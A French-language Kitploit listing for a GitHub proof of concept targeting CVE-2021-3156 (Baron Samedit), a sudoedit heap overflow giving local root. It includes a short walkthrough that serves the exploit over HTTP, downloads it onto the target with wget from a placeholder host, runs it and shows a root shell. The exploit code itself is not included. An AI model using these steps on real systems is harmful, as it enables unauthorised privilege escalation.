Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Review.CVE-2021-3156 — Preuve de concept en Python pour CVE-2021-3156 (Baron Samedit), un débordement de tas dans sudoedit permettant une élévation de privilèges locale vers root sur les versions vulnérables de sudo. | Kitploit
Outils/GitHubGitHub/constantinefedorov/review.cve-2021-3156
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationTests d'IntrusionRed TeamingExploitation de Binaires
GitHubconstantinefedorov/review.cve-2021-3156

Review.CVE-2021-3156

Preuve de concept en Python pour CVE-2021-3156 (Baron Samedit), un débordement de tas dans sudoedit permettant une élévation de privilèges locale vers root sur les versions vulnérables de sudo.

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 1 anPas encore vérifié

👑 CVE-2021-3156 (Baron Samedit) — Élévation de privilèges via un débordement de tas dans sudo

📅 Date : 2025-06-08
✍️ Auteur : @TopskiyPavelQwertyGang 🧠 Chercheur en sécurité | Passionné de Red Team


🧠 Aperçu de la CVE

  • CVE-ID : CVE-2021-3156
  • Type : Débordement de tampon basé sur le tas (Heap-based Buffer Overflow)
  • Composant : sudoedit (sudo)
  • Niveau d'accès : Local
  • Objectif : Obtention des privilèges root

🧠 Description

Le heap-overflow dans sudoedit permet à un utilisateur local d'obtenir un accès root
lors de l'exécution de la commande sudoedit avec des paramètres préalablement préparés.

L'exploitation est active pour les versions de sudo < 1.9.5p2, y compris les images populaires Ubuntu/Debian/CentOS.
Même avec ASLR activé, la vulnérabilité reste exploitable.


🐾 Conditions d'exploitation

OS     : Ubuntu 20.04.3 LTS
glibc  : 2.31 (tcache ON)
sudo   : 1.8.31 (vulnérable)
ASLR   : 2 (activé)

🧪 Préparation de l'environnement

  1. Les versions de glibc et sudo ont été vérifiées :
ldd --version
sudo --version
  1. Les scripts PoC ont été transférés depuis une autre machine via un serveur HTTP intégré :
python3 -m http.server 80
  1. Sur la machine cible, les PoC sont téléchargés et exécutés :
wget http://<IP>:80/exploit_nss.py
python3 exploit_nss.py

🚀 Exploitation réussie du PoC

$ python3 exploit_nss.py
# whoami
root

🧾 Conclusion

L'exploitation de CVE-2021-3156 reste possible même avec ASLR actif, si glibc ≥ 2.26 et sudo d'une version vulnérable.
L'exploit exploit_nss.py s'est révélé le plus stable, fonctionnant du premier coup avec une configuration NSS correcte.

🧨 Système sous contrôle.


Télécharger l’outil